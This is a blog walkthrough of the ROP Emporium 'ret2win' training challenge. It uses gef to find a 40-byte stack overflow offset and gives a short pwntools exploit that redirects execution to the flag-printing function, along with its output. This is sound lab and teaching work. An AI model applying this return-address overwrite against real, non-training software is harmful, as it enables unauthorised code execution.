ROP Emporium Volume 1

This is the first blog post that I decided to write down about the challenges that you can find on ROP Emporium. This post is about the first and easiest challenge: ret2win.

Description of the challenge

The first challenge is the easiest. There is a function in the code that prints the flags for us, and all we need to do is calling it via a very simple ROP chain.

Preliminary steps

First of all, we look for the address of the function that needs to be called (ret2win).

```bash
gef➤  disas ret2win
Dump of assembler code for function ret2win:
   0x0000000000400811 <+0>:     push   rbp

We can see that the function is at address 0x400811.

Despite the fact that running the binary, we get good information about what to do

ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

it is still more convenient to use gef (or similar GDB extensions) to get the precise offset at which the overflow happens.

First, we create a pattern of 150 bytes (60 would have been more than enough).

gef➤  pattern create 150
[+] Generating a pattern of 150 bytes
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaa
[+] Saved as '$_gef0'

Then, we run the program and we pass the pattern as input.

gef➤  r
ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaa

At this point the process crashes as expected. We want to get the content of the $rsp now and determine the offset for the overflow.

gef➤  x /xg $rsp
0x7fffffffe418: 0x6161616161616166
gef➤  pattern search 0x6161616161616166
[+] Searching '0x6161616161616166'
[+] Found at offset 40 (little-endian search) likely
[+] Found at offset 33 (big-endian search)

So we have 40 bytes of garbage to fill and then we need to put the address of the ret2win function. This will make sure that the saved return address will contain the address of the ret2win function, and the program will conveniently execute the function for us.

The exploit then will look as follows:

from pwn import *

context(terminal=['tmux', 'new-window'])
context(os='linux', arch='amd64')
io = process('./ret2win')
# Address of ret2win function
ret_win = p64(0x400811)
# Padding
junk = "A"*40
# Payload
payload = junk + ret_win
io.recvuntil('fgets!')
io.sendline(payload)
# Read or get interactive session, it doesn't matter
io.interactive()

Running the exploit works fairly smoothly

root@kali:~/ropemporium/ret2win# python exploit.py
[+] Starting local process './ret2win': pid 24539
[*] Switching to interactive mode


> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive